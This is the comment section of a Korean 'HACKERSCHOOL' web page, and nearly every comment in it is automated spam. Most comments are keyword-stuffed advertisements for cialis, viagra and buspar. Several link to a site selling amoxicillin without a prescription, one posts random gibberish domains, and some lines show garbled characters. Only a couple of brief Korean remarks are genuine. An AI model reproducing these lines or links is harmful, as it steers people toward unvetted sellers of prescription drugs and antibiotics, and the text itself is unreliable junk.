buy generic viagra cialis levitra buy cialis cialis extra dosage 200 mg buy cialis generic does generic cialis really work

wusexaxi
Feb 19, 2019 05:50
http://theprettyguineapig.com/amoxicillin/ - Amoxicillin No Prescription Buy Amoxicillin Online http://theprettyguineapig.com/amoxicillin/

ivirifu
Feb 19, 2019 05:59
http://theprettyguineapig.com/amoxicillin/ - Amoxicillin 500mg Amoxicillin http://theprettyguineapig.com/amoxicillin/

eroefod
Feb 19, 2019 06:23
http://theprettyguineapig.com/amoxicillin/ - Amoxicillin Amoxicillin 500mg Capsules http://theprettyguineapig.com/amoxicillin/

Josephupdar
Feb 19, 2019 10:50
super active cialis reviews buy cialis cialis 20 mg 30'lu tablet buy cialis generic buy generic cialis viagra online

Robertcuche
Feb 19, 2019 11:04
cialis cananadian pharmacy buy cialis cialis tadalafil 20mg sale cialis generic viagra dosage vs cialis

Josephupdar
Feb 20, 2019 05:14
cialis generico prezzo buy cialis generic cialis levitra staxyn and viagra cost comparison buy cialis cialis online brand name

Robertcuche
Feb 20, 2019 11:42
cialis and eye side effects cialis brand cialis 20 mg buy cialis online cialis vs viagra price

AnthonyGef
Feb 21, 2019 12:59
cialis side effects dangers oral buy cialis generic levitra vs sildenafil vs cialis buy cialis generic viagra cialis levitra generici

Robertlathe
Feb 21, 2019 01:14
cialis super active 40 mg buy cialis blonde actress in cialis commercial buy cialis generic cialis super active vs professional

AnthonyGef
Feb 22, 2019 08:05
levitra vs viagra vs cialis buy generic cialis online cialis generic vs brand buy cialis generic cialis side effects red eyes

Robertlathe
Feb 22, 2019 02:35
walmart prices for cialis cialis cialis commercial female actors 2016 buy cialis generic cialis prices 5mg

Shawnlaumn
Feb 23, 2019 03:59
levitra or cialis or viagra better cialis generic cialis cheap uk generic cialis cialis 25mg dosagem

Robertcab
Feb 23, 2019 04:10
cialis 5mg price costco generic cialis cialis price vs viagra which is better buy cialis cialis pharmacy usa

MaryMoork
Feb 23, 2019 07:36
buspirone 10 mg

JudyMoork
Feb 23, 2019 11:53
buspirone price

LisaMoork
Feb 23, 2019 10:35
buspar online

Shawnlaumn
Feb 23, 2019 11:05
generic viagra cialis and levitra generic cialis cialis 5 mg or 20 mg buy generic cialis generic cialis available in usa

AlanMoork
Feb 24, 2019 03:24
buspar

Robertcab
Feb 24, 2019 05:11
cialis 20mg vs 5mg generic cialis generic cialis with dapoxetine buy cialis online compare cialis and viagra side effects

MarkMoork
Feb 24, 2019 02:33
buspar 10 mg

AmyMoork
Feb 24, 2019 05:02
buy buspar

DonaldNiB
Feb 24, 2019 05:59
backache side effects of cialis 5mg cialis generic cialis price vs viagra which is better buy cialis online cialis 5mg best price

Stevepal
Feb 24, 2019 06:09
cost of cialis and viagra buy generic cialis online cialis 20 mg 30 tablet orjinal mi generic cialis mental side effects of cialis

PaulMoork
Feb 25, 2019 05:40
generic buspar

CarlMoork
Feb 25, 2019 09:43
buspirone 5 mg

DonaldNiB
Feb 25, 2019 11:51
buy cialis vs viagra buy cialis cialis commercial bathtubs youtube buy cialis generic cialis 5mg daily use for bph

Stevepal
Feb 25, 2019 06:07
cialis dosage chart buy generic cialis cialis cananadian pharmacy buy cialis online prices of cialis and viagra

MaryMoork
Feb 25, 2019 10:49
buspar 10mg

JudyMoork
Feb 26, 2019 01:35
buspirone 10 mg

Scottnup
Feb 26, 2019 07:19
generic cialis release buy cialis generic cialis levitra viagra buy cialis generic cialis super active vs cialis

Haroldnon
Feb 26, 2019 07:28
cialis commercial male actors buy cialis generic buy cialis canada paypal buy cialis online cialis 20mg vs 5mg

LisaMoork
Feb 26, 2019 12:32
buy buspar

AlanMoork
Feb 26, 2019 05:22
buspirone 5 mg

Scottnup
Feb 27, 2019 02:36
cialis brand name 10 mg buy cialis online cialis vs levitra side effects cialis generic cialis 2.5 mg price comparison

MarkMoork
Feb 27, 2019 06:09
buspar

AmyMoork
Feb 27, 2019 07:11
buspirone 5 mg

Haroldnon
Feb 27, 2019 08:15
cialis tablets 20mg for sale cialis generic buy viagra cialis levitra online buy generic cialis online cialis generico farmacia espa벬켥

PaulMoork
Feb 27, 2019 08:08
buspirone 10 mg

Normanpiege
Feb 27, 2019 08:28
viagra vs cialis costs buy cialis generic levitra vs cialis vs viagra cost cialis generic viagra cialis levitra online uk

EdmondMor
Feb 27, 2019 08:34
cialis side effects dangers or viagra cialis generic maximum dose for cialis buy cialis online cialis dosage 10 mg

CarlMoork
Feb 27, 2019 11:50
buspar 10mg

Normanpiege
Feb 28, 2019 01:28
cialis prescription price australia cialis generic side effects of cialis vs viagra buy cialis online levitra vs cialis reviews

JudyMoork
Feb 28, 2019 03:52
buspirone price

MaryMoork
Feb 28, 2019 06:23
buspar

EdmondMor
Feb 28, 2019 07:23
levitra v viagra v cialis cialis generic is cialis generic in canada buy generic cialis online cialis 20 mg tablet cost

LisaMoork
Mar 01, 2019 03:20
buspar

Leonardcrymn
Mar 01, 2019 06:57
20mg dosage of cialis buy generic cialis cialis coupon 2016 200 dollars buy cialis generic cialis commercial bathtubs youtube

Anthonylen
Mar 01, 2019 07:03
comprar cialis generico foro buy generic cialis online cialis super active plus en mexico buy generic cialis online cialis side effects eye pain

AlanMoork
Mar 01, 2019 08:45
buspar

새부
Mar 01, 2019 03:59
미래에서 왔습니다. 정말 좋은 문서네요

AmyMoork
Mar 01, 2019 08:34
buy buspar

MarkMoork
Mar 01, 2019 09:38
buy buspar

PaulMoork
Mar 02, 2019 11:00
generic for buspar

CarlMoork
Mar 02, 2019 02:26
buspirone 10 mg

Kelpsycle
Mar 04, 2019 09:12
Propecia Produce Esterilidad Original Cialis졖졤졻졤졻쇣뮻 20mg Von Lilly졖졤졻졤졻쇣뮻 Amoxicillin Side Effects priligy spanien Is Alli Back In Stock Mexican Meds Online Xenical Prix

vrwpckf
Mar 06, 2019 08:57
t4x9vX pueqaoohpefv, [url=http://xgzkrdchskdm.com/]xgzkrdchskdm[/url], [link=http://dupmujcszkud.com/]dupmujcszkud[/link], http://ffgpqgqsszng.com/

BORAM
Mar 17, 2019 11:33
ㅜㅜ

DavidmOG
Mar 20, 2019 05:33
viagra and cialis dosage strength comparison buy generic cialis cialis tadalafil 20mg uk generic cialis cialis generico en mexico donde comprar

DavidmOG
Mar 21, 2019 12:46
cialis coupons printable buy cialis online generic cialis super active reviews generic cialis viagra vs cialis vs levitra 2013

Malcolmadden
Mar 21, 2019 03:55
best price cialis and viagra buy cialis online cialis 10mg tablets price generic cialis levitra versus cialis versus viagra

AllenOxymn
Mar 21, 2019 05:35
best price cialis 5 mg buy generic cialis cialis tv commercial bathtubs buy cialis online viagra cialis levitra price comparison

Malcolmadden
Mar 21, 2019 09:16
cheap cialis uk next day delivery generic cialis cialis 5 mg 6 tablets cost buy generic cialis cialis 20mg dosage reviews

AllenOxymn
Mar 22, 2019 01:13
viagra and cialis dosage and cost comparison buy generic cialis purchase viagra and cialis generic cialis long do cialis side effects last

DavidmOG
Mar 22, 2019 01:01
walmart price for 5 mg cialis generic cialis levitra vs cialis bagus mana generic cialis cialis generico de venta en mexico

DavidmOG
Mar 22, 2019 08:06
buy generic cialis online buy generic cialis viagra e cialis generici cialis generic price comparison viagra and cialis

Malcolmadden
Mar 22, 2019 11:31
cialis brand 10mg cialis generic cialis generico pre벬쬸 no brasil buy cialis online cialis side effects joint pain

AllenOxymn
Mar 23, 2019 12:34
generic brand for cialis 5mg buy generic cialis cialis maximum daily dosage buy generic cialis cialis drug interactions side effects

Malcolmadden
Mar 23, 2019 04:25
cialis generico no brasil generic cialis buy generic cialis online safely generic cialis cialis low cost generic

AllenOxymn
Mar 23, 2019 07:27
cialis price vs viagra reviews buy cialis online can i buy cialis in canada over the counter buy generic cialis cialis generic 5mg india

DavidmOG
Mar 24, 2019 02:48
long do cialis side effects last cialis online equivalent doses of cialis and viagra cialis generic cialis (tadalafil) 20 mg 8 tablets

DavidmOG
Mar 24, 2019 09:25
cialis generic in 2018 buy cialis online viagra prices vs cialis cialis online tesco pharmacy cialis price

Malcolmadden
Mar 24, 2019 09:36
levitra versus cialis versus viagra buy cialis online cialis viagra generici cialis online buy cialis 5mg usa

AllenOxymn
Mar 25, 2019 09:37
buy viagra cialis levitra online buy generic cialis price of cialis 20 mg at cvs cialis generic cialis vs viagra effectiveness

Malcolmadden
Mar 25, 2019 02:18
how long do the side effects of cialis last cialis generic best prices on generic cialis 40mg cialis generic difference between cialis professional and cialis super active

AllenOxymn
Mar 25, 2019 04:47
walmart pharmacy cialis prices buy generic cialis buy cialis online us pharmacy cialis generic cialis soft gel


 댓글 남기기

ID Password
   
Hit : 61102  

Copyright(C) HACKERSCHOOL All Rights Reserved.